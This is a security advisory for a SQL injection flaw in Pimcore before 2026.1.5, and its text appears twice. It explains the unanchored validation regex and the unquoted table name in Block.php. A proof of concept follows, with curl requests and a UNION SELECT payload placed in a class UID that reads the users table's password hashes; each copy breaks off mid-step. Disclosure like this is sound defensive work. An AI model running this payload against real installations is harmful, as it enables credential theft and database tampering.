CVE-2026-55072

Pimcore is an Open Source Data & Experience Management Platform. Prior to 2026.1.5, an authenticated user with the objects permission can submit a malicious ClassDefinition UID because the name and ID validation expressions in models/DataObject/ClassDefinition.php validate only the beginning of each value. When a data object of that class containing a Block field is loaded, Block::load in models/DataObject/ClassDefinition/Data/Block.php incorporates the stored class ID into an unquoted object table identifier, allowing the UID to supply SQL syntax. The resulting query can read or modify arbitrary Pimcore database tables, including disclosure of password hashes, and the flaw represents an incomplete validation hardening because earlier work added a start anchor without enforcing the end of the identifier. This issue is fixed in version 2026.1.5.

Pimcore is an Open Source Data & Experience Management Platform. Prior to 2026.1.5, an authenticated user with the objects permission can submit a malicious ClassDefinition UID because the name and ID validation expressions in models/DataObject/ClassDefinition.php validate only the beginning of each value. When a data object of that class containing a Block field is loaded, Block::load in models/DataObject/ClassDefinition/Data/Block.php incorporates the stored class ID into an unquoted object table identifier, allowing the UID to supply SQL syntax. The resulting query can read or modify arbitrary Pimcore database tables, including disclosure of password hashes, and the flaw represents an incomplete validation hardening because earlier work added a start anchor without enforcing the end of the identifier. This issue is fixed in version 2026.1.5.

Summary

A missing end anchor ($) in the ClassDefinition UID validation regex allows an authenticated user with the objects permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit dbe1d131e4 which added a leading ^ anchor but omitted the trailing $.

Details

1. Missing end anchor in ClassDefinition UID validation

models/DataObject/ClassDefinition.php lines 1148-1154:

if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) {
    throw new Exception(sprintf('Invalid name for class definition: %s', $this->getName()));
}

if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {
    throw new Exception(sprintf('Invalid ID `%s` for class definition %s', $this->getId(), $this->getName()));
}

Both patterns are missing a trailing $ anchor. Without it, preg_match only checks that the string STARTS with a valid identifier — it does not assert end-of-string. A UID of 1 UNION SELECT password FROM users-- passes because the regex matches 1 at the start and ignores the rest.

Compare with the correct pattern used by Fieldcollection in models/DataObject/Fieldcollection/Definition.php line 268:

if (!preg_match('/^[a-zA-Z]\w*$/', $key)) {   // has $ — correct
    return true;
}

3. Unquoted classId concatenation in Block.php

models/DataObject/ClassDefinition/Data/Block.php line 735:

$query = 'select ' . $db->quoteIdentifier($field) . ' from object_store_' . $object->getClassId() . ' where oo_id  = ' . $object->getId();

$object->getClassId() returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts.

Compare with models/DataObject/ClassDefinition/Dao.php line 108-113 which correctly wraps the table name:

$objectDatastoreTable = 'object_store_' . $this->model->getId();
$qObjectDatastoreTable = $this->db->quoteIdentifier($objectDatastoreTable);

Dao.php was hardened in commit dbe1d131e4 but Block.php was not.

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user lowpriv with only the objects permission

Step 1 — Authenticate as lowpriv and save the session cookie:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"lowpriv","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Create a ClassDefinition with a malicious UID:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"PocClass","uid":"1 UNION SELECT password,NULL FROM users-- "}'

Expected response: class definition created successfully. The UID passes the broken regex because preg_match('/^[a-zA-Z0-9 ([a-zA-Z0-9_]+)?/', '1 UNION SELECT...') matches 1 at the start and returns true. No exception is thrown.

The bypass can be verified independently in any PHP sandbox:

var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- '));
// int(1) — PASSES, no exception thrown

var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', '1 UNION SELECT password FROM users-- '));
// int(0) — BLOCKED, correct behavior with $ anchor

Step 3 — Add a Block field to the malicious class (via the class editor UI or API)

In the Pimcore Studio UI, open PocClass, add a field of type Block, name it myblock, and save the class.

Step 4 — Create a data object of the malicious class:

curl -s -b /tmp/cookies.txt -X POST \
 …

Pimcore is an Open Source Data & Experience Management Platform. Prior to 2026.1.5, an authenticated user with the objects permission can submit a malicious ClassDefinition UID because the name and ID validation expressions in models/DataObject/ClassDefinition.php validate only the beginning of each value. When a data object of that class containing a Block field is loaded, Block::load in models/DataObject/ClassDefinition/Data/Block.php incorporates the stored class ID into an unquoted object table identifier, allowing the UID to supply SQL syntax. The resulting query can read or modify arbitrary Pimcore database tables, including disclosure of password hashes, and the flaw represents an incomplete validation hardening because earlier work added a start anchor without enforcing the end of the identifier. This issue is fixed in version 2026.1.5.

Pimcore is an Open Source Data & Experience Management Platform. Prior to 2026.1.5, an authenticated user with the objects permission can submit a malicious ClassDefinition UID because the name and ID validation expressions in models/DataObject/ClassDefinition.php validate only the beginning of each value. When a data object of that class containing a Block field is loaded, Block::load in models/DataObject/ClassDefinition/Data/Block.php incorporates the stored class ID into an unquoted object table identifier, allowing the UID to supply SQL syntax. The resulting query can read or modify arbitrary Pimcore database tables, including disclosure of password hashes, and the flaw represents an incomplete validation hardening because earlier work added a start anchor without enforcing the end of the identifier. This issue is fixed in version 2026.1.5.

Summary

A missing end anchor ($) in the ClassDefinition UID validation regex allows an authenticated user with the objects permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit dbe1d131e4 which added a leading ^ anchor but omitted the trailing $.

Details

1. Missing end anchor in ClassDefinition UID validation

models/DataObject/ClassDefinition.php lines 1148-1154:

if (!preg_match('/^[a-zA-Z]\w+/', $this->getName())) {
    throw new Exception(sprintf('Invalid name for class definition: %s', $this->getName()));
}

if (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {
    throw new Exception(sprintf('Invalid ID `%s` for class definition %s', $this->getId(), $this->getName()));
}

Both patterns are missing a trailing $ anchor. Without it, preg_match only checks that the string STARTS with a valid identifier — it does not assert end-of-string. A UID of 1 UNION SELECT password FROM users-- passes because the regex matches 1 at the start and ignores the rest.

Compare with the correct pattern used by Fieldcollection in models/DataObject/Fieldcollection/Definition.php line 268:

if (!preg_match('/^[a-zA-Z]\w*$/', $key)) {   // has $ — correct
    return true;
}

3. Unquoted classId concatenation in Block.php

models/DataObject/ClassDefinition/Data/Block.php line 735:

$query = 'select ' . $db->quoteIdentifier($field) . ' from object_store_' . $object->getClassId() . ' where oo_id  = ' . $object->getId();

$object->getClassId() returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts.

Compare with models/DataObject/ClassDefinition/Dao.php line 108-113 which correctly wraps the table name:

$objectDatastoreTable = 'object_store_' . $this->model->getId();
$qObjectDatastoreTable = $this->db->quoteIdentifier($objectDatastoreTable);

Dao.php was hardened in commit dbe1d131e4 but Block.php was not.

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user lowpriv with only the objects permission

Step 1 — Authenticate as lowpriv and save the session cookie:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"lowpriv","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Create a ClassDefinition with a malicious UID:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"PocClass","uid":"1 UNION SELECT password,NULL FROM users-- "}'

Expected response: class definition created successfully. The UID passes the broken regex because preg_match('/^[a-zA-Z0-9 ([a-zA-Z0-9_]+)?/', '1 UNION SELECT...') matches 1 at the start and returns true. No exception is thrown.

The bypass can be verified independently in any PHP sandbox:

var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- '));
// int(1) — PASSES, no exception thrown

var_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', '1 UNION SELECT password FROM users-- '));
// int(0) — BLOCKED, correct behavior with $ anchor

Step 3 — Add a Block field to the malicious class (via the class editor UI or API)

In the Pimcore Studio UI, open PocClass, add a field of type Block, name it myblock, and save the class.

Step 4 — Create a data object of the malicious class:

curl -s -b /tmp/cookies.txt -X POST \
 …